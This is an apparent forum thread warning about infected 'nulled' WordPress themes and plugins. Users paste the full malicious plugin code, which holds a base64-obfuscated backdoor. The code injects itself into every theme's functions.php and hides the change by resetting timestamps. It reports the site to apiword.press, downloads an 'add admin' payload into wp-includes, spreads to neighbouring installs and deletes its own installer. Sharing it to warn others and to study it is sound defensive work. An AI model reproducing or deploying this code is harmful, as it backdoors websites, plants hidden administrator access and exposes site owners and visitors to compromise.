VFU1RbJ2NvbnRlbnQnXSk​gJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0​+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJ​sYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0​gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0​gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHR​pb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCB​gY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiw​gYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb25​0ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGV​fc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGV​fc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9​lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm1​5c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWx​sX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCd​dKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQo​JCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0N​EIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY29​1bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIic​ubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyA​pCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnB​yZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0V​SVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXs​KCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewo​JCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWd​lX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWF​kPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXR​sZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2h​lcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB​0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwo​JCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwo​JCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQl​wcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHR​oPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA​6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0​iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2h​lYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzx​kaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXN​oZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmF​yKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
        {
            $themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
                
            $ping = true;
                
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
                                        
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_URL_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
                                        
                                }
                        }
                        
                    if ($ping) {
                        $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
                    }
                }
        }
        
    for ($i = 0; $i<MAX_LEVEL; $i++)
        {
            $dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
        }
            
    foreach ($dirs as $dir)
        {
            foreach (@getDirList($dir) as $__)
                {
                    @SearchFile($search, $__);
                }
        }
        
    foreach ($GLOBALS['DIR_ARRAY'] as $e)
        {
            if ($file = file_get_contents($e[1]))
                {
                    if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
                        {
                            if ($salt[1] != AUTH_SALT)
                                {
                                    WP_URL_CD(dirname($e[1]));
                                }
                        }
                }
        }
        
    if ($file = @file_get_contents(__FILE__))
        {
            $file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
            $file = preg_replace('!<\?php\s*\?>!s', '', $file);
            @file_put_contents(__FILE__, $file);
        }
        
}

//install_code_end

?><?php error_reporting(0);?>

I tried to decrypt it, but no luck. Would love to see what's behind the obfuscated parts. Please post your findings back to this thread is you can figure this out! :)
www find Quote
11-15-2016, 05:58 AM
Post: #15
gho5t Offline
The Black Knights
********
Posts: 7,085
Joined: Apr 2011

Reputation: 16463
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
@Gadzookz - Awesome suggestion! http://themecheck.org/#ancreSubmit/
40.gif
www find Quote
11-15-2016, 06:06 AM
Post: #16
Gadzookz Offline
Gadzookz
*****
Posts: 5,372
Joined: Sep 2012

Reputation: 524
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
(11-15-2016 05:46 AM)jendaceo Wrote:  Well, I ran VirusTotal and it did find the infected file in question:

tmg-plugin.php:

Code:
<?php

//install_code

DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);

$GLOBALS['WP_CD_CODE'] = 'PD9waHANCg0KLy9pbnN0YWxsX2NvZGUNCg0KCSRpbnN0YWxsX2NvZGUgPSAnUEQ5d2FIQUtDbWxtSUN​ocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJGamRHbHZiaWRkS1NBbUppQnBjM05sZENna1gxSkZVVlZGVTF​SYkozQmhjM04zYjNKa0oxMHBJQ1ltSUNna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBnSjN​za1VFRlRVMWRQVWtSOUp5a3BDZ2w3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2Yml​kZEtRb0pDUWw3Q2drSkNRbGpZWE5sSUNkblpYUmZZV3hzWDJ4cGJtdHpKenNLQ1FrSkNRbG1iM0psWVd​Ob0lDZ2tkM0JrWWkwK1oyVjBYM0psYzNWc2RITW9KMU5GVEVWRFZDQXFJRVpTVDAwZ1lDY2dMaUFrZDN​Ca1lpMCtjSEpsWm1sNElDNGdKM0J2YzNSellDQlhTRVZTUlNCZ2NHOXpkRjl6ZEdGMGRYTmdJRDBnSW5​CMVlteHBjMmdpSUVGT1JDQmdjRzl6ZEY5MGVYQmxZQ0E5SUNKd2IzTjBJaUJQVWtSRlVpQkNXU0JnU1V​SZ0lFUkZVME1uTENCQlVsSkJXVjlCS1NCaGN5QWtaR0YwWVNrS0NRa0pDUWtKZXdvSkNRa0pDUWtKSkd​SaGRHRmJKMk52WkdVblhTQTlJQ2NuT3dvSkNRa0pDUWtKQ2drSkNRa0pDUWxwWmlBb2NISmxaMTl0WVh​SamFDZ25JVHhrYVhZZ2FXUTlJbmR3WDJOa1gyTnZaR1VpUGlndUtqOHBQQzlrYVhZK0lYTW5MQ0FrWkd​GMFlWc25jRzl6ZEY5amIyNTBaVzUwSjEwc0lDUmZLU2tLQ1FrSkNRa0pDUWw3Q2drSkNRa0pDUWtKQ1N​Sa1lYUmhXeWRqYjJSbEoxMGdQU0FrWDFzeFhUc0tDUWtKQ1FrSkNRbDlDZ2tKQ1FrSkNRa0tDUWtKQ1F​rSkNYQnlhVzUwSUNjOFpUNDhkejR4UEM5M1BqeDFjbXcrSnlBdUlDUmtZWFJoV3lkbmRXbGtKMTBnTGl​BblBDOTFjbXcrUEdOdlpHVStKeUF1SUNSa1lYUmhXeWRqYjJSbEoxMGdMaUFuUEM5amIyUmxQanhwWkQ​0bklDNGdKR1JoZEdGYkowbEVKMTBnTGlBblBDOXBaRDQ4TDJVK0p5QXVJQ0pjY2x4dUlqc0tDUWtKQ1F​rSmZRb0pDUWtKWW5KbFlXczdDZ2tKQ1FrS0NRa0pDV05oYzJVZ0ozTmxkRjlwWkY5c2FXNXJjeWM3Q2d​rSkNRa0phV1lnS0dsemMyVjBLQ1JmVWtWUlZVVlRWRnNuWkdGMFlTZGRLU2tLQ1FrSkNRa0pld29KQ1F​rSkNRa0pKR1JoZEdFZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ1lIQnZjM1JmWTI​5dWRHVnVkR0FnUmxKUFRTQmdKeUF1SUNSM2NHUmlMVDV3Y21WbWFYZ2dMaUFuY0c5emRITmdJRmRJUlZ​KRklHQkpSR0FnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVd​RblhTa3VKeUluS1RzS0NRa0pDUWtKQ1FvSkNRa0pDUWtKSkhCdmMzUmZZMjl1ZEdWdWRDQTlJSEJ5Wld​kZmNtVndiR0ZqWlNnbklUeGthWFlnYVdROUluZHdYMk5rWDJOdlpHVWlQaWd1S2o4cFBDOWthWFkrSVh​NbkxDQW5KeXdnSkdSaGRHRWdMVDRnY0c5emRGOWpiMjUwWlc1MEtUc0tDUWtKQ1FrSkNXbG1JQ2doWlc​xd2RIa29KRjlTUlZGVlJWTlVXeWRrWVhSaEoxMHBLU0FrY0c5emRGOWpiMjUwWlc1MElEMGdKSEJ2YzN​SZlkyOXVkR1Z1ZENBdUlDYzhaR2wySUdsa1BTSjNjRjlqWkY5amIyUmxJajRuSUM0Z2MzUnlhWEJqYzJ​4aGMyaGxjeWdrWDFKRlVWVkZVMVJiSjJSaGRHRW5YU2tnTGlBblBDOWthWFkrSnpzS0Nna0pDUWtKQ1F​scFppQW9KSGR3WkdJdFBuRjFaWEo1S0NkVlVFUkJWRVVnWUNjZ0xpQWtkM0JrWWkwK2NISmxabWw0SUM​0Z0ozQnZjM1J6WUNCVFJWUWdZSEJ2YzNSZlkyOXVkR1Z1ZEdBZ1BTQWlKeUF1SUcxNWMzRnNYMlZ6WTJ​Gd1pWOXpkSEpwYm1jb0pIQnZjM1JmWTI5dWRHVnVkQ2tnTGlBbklpQlhTRVZTUlNCZ1NVUmdJRDBnSWl​jZ0xpQnRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVdRblhTa2dMaUFuSWl​jcElDRTlQU0JtWVd4elpTa0tDUWtKQ1FrSkNRbDdDZ2tKQ1FrSkNRa0pDWEJ5YVc1MElDSjBjblZsSWp​zS0NRa0pDUWtKQ1FsOUNna0pDUWtKQ1gwS0NRa0pDV0p5WldGck93b0pDUWtKQ2drSkNRbGpZWE5sSUN​kamNtVmhkR1ZmY0dGblpTYzdDZ2tKQ1FrSmFXWWdLR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25jbVZ0YjN​abFgzQmhaMlVuWFNrcENna0pDUWtKQ1hzS0NRa0pDUWtKQ1dsbUlDZ2tkM0JrWWlBdFBpQnhkV1Z5ZVN​nblJFVk1SVlJGSUVaU1QwMGdZQ2NnTGlBa2QzQmtZaTArY0hKbFptbDRJQzRnSjJSaGRHRnNhWE4wWUN​CWFNFVlNSU0JnZFhKc1lDQTlJQ0l2Snk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlV​WVFZGc25kWEpzSjEwcExpY2lKeWtwQ2drSkNRa0pDUWtKZXdvSkNRa0pDUWtKQ1Fsd2NtbHVkQ0FpZEh​KMVpTSTdDZ2tKQ1FrSkNRa0pmUW9KQ1FrSkNRbDlDZ2tKQ1FrSlpXeHpaV2xtSUNocGMzTmxkQ2drWDF​KRlVWVkZVMVJiSjJOdmJuUmxiblFuWFNrZ0ppWWdJV1Z0Y0hSNUtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEd​WdWRDZGRLU2tLQ1FrSkNRa0pld29KQ1FrSkNRa0phV1lnS0NSM2NHUmlJQzArSUhGMVpYSjVLQ2RKVGx​ORlVsUWdTVTVVVHlCZ0p5QXVJQ1IzY0dSaUxUNXdjbVZtYVhnZ0xpQW5aR0YwWVd4cGMzUmdJRk5GVkN​CZ2RYSnNZQ0E5SUNJdkp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuZFh​Kc0oxMHBMaWNpTENCZ2RHbDBiR1ZnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDF​KRlVWVkZVMVJiSjNScGRHeGxKMTBwTGljaUxDQmdhMlY1ZDI5eVpITmdJRDBnSWljdWJYbHpjV3hmWlh​OallYQmxYM04wY21sdVp5Z2tYMUpGVVZWRlUxUmJKMnRsZVhkdmNtUnpKMTBwTGljaUxDQmdaR1Z6WTN​KcGNIUnBiMjVnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJ​SbGMyTnlhWEIwYVc5dUoxMHBMaWNpTENCZ1kyOXVkR1Z1ZEdBZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0d​WZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblkyOXVkR1Z1ZENkZEtTNG5JaXdnWUdaMWJHeGZZMjl1ZEd​WdWRHQWdQU0FpSnk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlVWVFZGc25ablZzYkY​5amIyNTBaVzUwSjEwcExpY2lJRTlPSUVSVlVFeEpRMEZVUlNCTFJWa2dWVkJFUVZSRklHQjBhWFJzWld​BZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzbmRHbDBiR1VuWFN​rdUp5SXNJR0JyWlhsM2IzSmtjMkFnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWt​WUlZVVlRWRnNuYTJWNWQyOXlaSE1uWFNrdUp5SXNJR0JrWlhOamNtbHdkR2x2Ym1BZ1BTQWlKeTV0ZVh​OeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblpHVnpZM0pwY0hScGIyNG5YU2t1Snl​Jc0lHQmpiMjUwWlc1MFlDQTlJQ0luTG0xNWMzRnNYMlZ6WTJGd1pWOXpkSEpwYm1jb2RYSnNaR1ZqYjJ​SbEtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEdWdWRDZGRLU2t1SnlJc0lHQm1kV3hzWDJOdmJuUmxiblJnSUQ​wZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJaMWJHeGZZMjl1ZEd​WdWRDZGRLUzRuSWljcEtRb0pDUWtKQ1FrSkNYc0tDUWtKQ1FrSkNRa0pjSEpwYm5RZ0luUnlkV1VpT3d​vSkNRa0pDUWtKQ1gwS0NRa0pDUWtKZlFvSkNRa0pZbkpsWVdzN0Nna0pDUWtLQ1FrSkNXUmxabUYxYkh​RNklIQnlhVzUwSUNKRlVsSlBVbDlYVUY5QlExUkpUMDRnVjFCZlZWSk1YME5FSWpzS0NRa0pmUW9KQ1F​rS0NRbGthV1VvSWlJcE93b0pmUW9LQ1FwcFppQW9JQ1IzY0dSaUxUNW5aWFJmZG1GeUtDZFRSVXhGUTF​RZ1kyOTFiblFvS2lrZ1JsSlBUU0JnSnlBdUlDUjNjR1JpTFQ1d2NtVm1hWGdnTGlBblpHRjBZV3hwYzN​SZ0lGZElSVkpGSUdCMWNteGdJRDBnSWljdWJYbHpjV3hmWlhOallYQmxYM04wY21sdVp5Z2dKRjlUUlZ​KV1JWSmJKMUpGVVZWRlUxUmZWVkpKSjEwZ0tTNG5JaWNwSUQwOUlDY3hKeUFwQ2dsN0Nna0pKR1JoZEd​FZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ0tpQkdVazlOSUdBbklDNGdKSGR3Wkd​JdFBuQnlaV1pwZUNBdUlDZGtZWFJoYkdsemRHQWdWMGhGVWtVZ1lIVnliR0FnUFNBaUp5NXRlWE54YkY​5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMVZTU1NkZEtTNG5JaWNwT3d​vSkNXbG1JQ2drWkdGMFlTQXRQaUJtZFd4c1gyTnZiblJsYm5RcENna0pDWHNLQ1FrSkNYQnlhVzUwSUh​OMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQmpiMjUwWlc1MEtUc0tDUWtKZlFvSkNXVnNjMlVLQ1F​rSmV3b0pDUWtKY0hKcGJuUWdKendoUkU5RFZGbFFSU0JvZEcxc1BpYzdDZ2tKQ1Fsd2NtbHVkQ0FuUEd​oMGJXd2dKenNLQ1FrSkNXeGhibWQxWVdkbFgyRjBkSEpwWW5WMFpYTW9LVHNLQ1FrSkNYQnlhVzUwSUN​jZ1kyeGhjM005SW01dkxXcHpJajRuT3dvSkNRa0pjSEpwYm5RZ0p6eG9aV0ZrUGljN0Nna0pDUWx3Y21​sdWRDQW5QSFJwZEd4bFBpY3VjM1J5YVhCemJHRnphR1Z6S0NSa1lYUmhJQzArSUhScGRHeGxLUzRuUEM​5MGFYUnNaVDRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUc1aGJXVTlJa3RsZVhkdmNtUnpJaUJqYjI​1MFpXNTBQU0luTG5OMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQnJaWGwzYjNKa2N5a3VKeUlnTHo​0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SWtSbGMyTnlhWEIwYVc5dUlpQmpiMjUwWlc​1MFBTSW5Mbk4wY21sd2MyeGhjMmhsY3lna1pHRjBZU0F0UGlCa1pYTmpjbWx3ZEdsdmJpa3VKeUlnTHo​0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SW5KdlltOTBjeUlnWTI5dWRHVnVkRDBpYVc​1a1pYZ3NJR1p2Ykd4dmR5SWdMejRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUdOb1lYSnpaWFE5SWl​jN0Nna0pDUWxpYkc5bmFXNW1ieWdnSjJOb1lYSnpaWFFuSUNrN0Nna0pDUWx3Y21sdWRDQW5JaUF2UGl​jN0Nna0pDUWx3Y21sdWRDQW5QRzFsZEdFZ2JtRnRaVDBpZG1sbGQzQnZjblFpSUdOdmJuUmxiblE5SW5​kcFpIUm9QV1JsZG1salpTMTNhV1IwYUNJK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4YkdsdWF5QnlaV3c5SW5​CeWIyWnBiR1VpSUdoeVpXWTlJbWgwZEhBNkx5OW5iWEJuTG05eVp5OTRabTR2TVRFaVBpYzdDZ2tKQ1F​sd2NtbHVkQ0FuUEd4cGJtc2djbVZzUFNKd2FXNW5ZbUZqYXlJZ2FISmxaajBpSnpzS0NRa0pDV0pzYjJ​kcGJtWnZLQ0FuY0dsdVoySmhZMnRmZFhKc0p5QXBPd29KQ1FrSmNISnBiblFnSnlJK0p6c0tDUWtKQ1h​kd1gyaGxZV1FvS1RzS0NRa0pDWEJ5YVc1MElDYzhMMmhsWVdRK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4WW0​5a2VUNG5Pd29KQ1FrSmNISnBiblFnSnp4a2FYWWdhV1E5SW1OdmJuUmxiblFpSUdOc1lYTnpQU0p6YVh​SbExXTnZiblJsYm5RaVBpYzdDZ2tKQ1Fsd2NtbHVkQ0J6ZEhKcGNITnNZWE5vWlhNb0pHUmhkR0VnTFQ​0Z1kyOXVkR1Z1ZENrN0Nna0pDUWxuWlhSZmMyVmhjbU5vWDJadmNtMG9LVHNLQ1FrSkNXZGxkRjl6YVd​SbFltRnlLQ2s3Q2drSkNRbG5aWFJmWm05dmRHVnlLQ2s3Q2drSkNYMEtDUWtKQ2drSlpYaHBkRHNLQ1g​wS0Nnby9QZz09JzsNCgkNCgkkaW5zdGFsbF9oYXNoID0gbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSA​uIEFVVEhfU0FMVCk7DQoJJGluc3RhbGxfY29kZSA9IHN0cl9yZXBsYWNlKCd7JFBBU1NXT1JEfScgLCA​kaW5zdGFsbF9oYXNoLCBiYXNlNjRfZGVjb2RlKCAkaW5zdGFsbF9jb2RlICkpOw0KCQ0KCWlmICgkd3B​kYiAtPiBxdWVyeSgnQ1JFQVRFIFRBQkxFIElGIE5PVCBFWElTVFMgYCcgLiAkd3BkYi0+cHJlZml4IC4​gJ2RhdGFsaXN0YCAoIGB1cmxgIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYHRpdGxlYCB2YXJjaGFyKDI​1NSkgTk9UIE5VTEwsIGBrZXl3b3Jkc2AgdmFyY2hhcigyNTUpIE5PVCBOVUxMLCBgZGVzY3JpcHRpb25​gIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYGNvbnRlbnRgIGxvbmd0ZXh0IE5PVCBOVUxMLCBgZnVsbF9​jb250ZW50YCBzbWFsbGludCg2KSBOT1QgTlVMTCwgUFJJTUFSWSBLRVkgKGB1cmxgKSApIEVOR0lORT1​NeUlTQU0gREVGQVVMVCBDSEFSU0VUPXV0Zjg7JykpDQoJCXsNCgkJCSR0aGVtZXMgPSAkX1NFUlZFUls​nRE9DVU1FTlRfUk9PVCddIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb250ZW50JyAuIERJUkV​DVE9SWV9TRVBBUkFUT1IgLiAndGhlbWVzJzsNCgkJCQkNCgkJCSRwaW5nID0gdHJ1ZTsNCgkJCQkNCgk​JCWlmICgkbGlzdCA9IHNjYW5kaXIoICR0aGVtZXMgKSkNCgkJCQl7DQoJCQkJCWZvcmVhY2ggKCRsaXN​0IGFzICRfKQ0KCQkJCQkJew0KCQkJCQkJCWlmIChmaWxlX2V4aXN0cygkdGhlbWVzIC4gRElSRUNUT1J​ZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJykpDQo​JCQkJCQkJCXsNCgkJCQkJCQkJCSR0aW1lID0gZmlsZWN0aW1lKCR0aGVtZXMgLiBESVJFQ1RPUllfU0V​QQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKTsNCgkJCQk​JCQkJCQkNCgkJCQkJCQkJCWlmICgkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGVtZXMgLiB​ESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5​waHAnKSkNCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCWlmIChzdHJwb3MoJGNvbnRlbnQsICdXUF9VUkx​fQ0QnKSA9PT0gZmFsc2UpDQoJCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5​zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOw0KCQkJCQkJCQkJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGh​lbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5​jdGlvbnMucGhwJywgJGNvbnRlbnQpOw0KCQkJCQkJCQkJCQkJCXRvdWNoKCAkdGhlbWVzIC4gRElSRUN​UT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyA​sICR0aW1lICk7DQoJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCQkJCXsNCgk​JCQkJCQkJCQkJCQkkcGluZyA9IGZhbHNlOw0KCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCX0NCgkJCQk​JCQkJCQkNCgkJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCWlmICgkcGluZykgew0KCQkJCQk​JJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9hcGl3b3JkLnByZXNzL28ucGhwP2h​vc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2g​pOw0KCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3d​wLWluY2x1ZGVzL2NsYXNzLndwLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vYXBpd29yZC5​wcmVzcy9hZGRhZG1pbl8xLnR4dCcpKTsNCgkJCQkJfQ0KCQkJCX0NCgkJfQ0KDQoJaWYgKCRmaWxlID0​gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKSkNCgkJew0KCQkJJGZpbGUgPSBwcmVnX3JlcGxhY2U​oJyEvL2luc3RhbGxfY29kZS4qLy9pbnN0YWxsX2NvZGVfZW5kIXMnLCAnJywgJGZpbGUpOw0KCQkJJGZ​pbGUgPSBw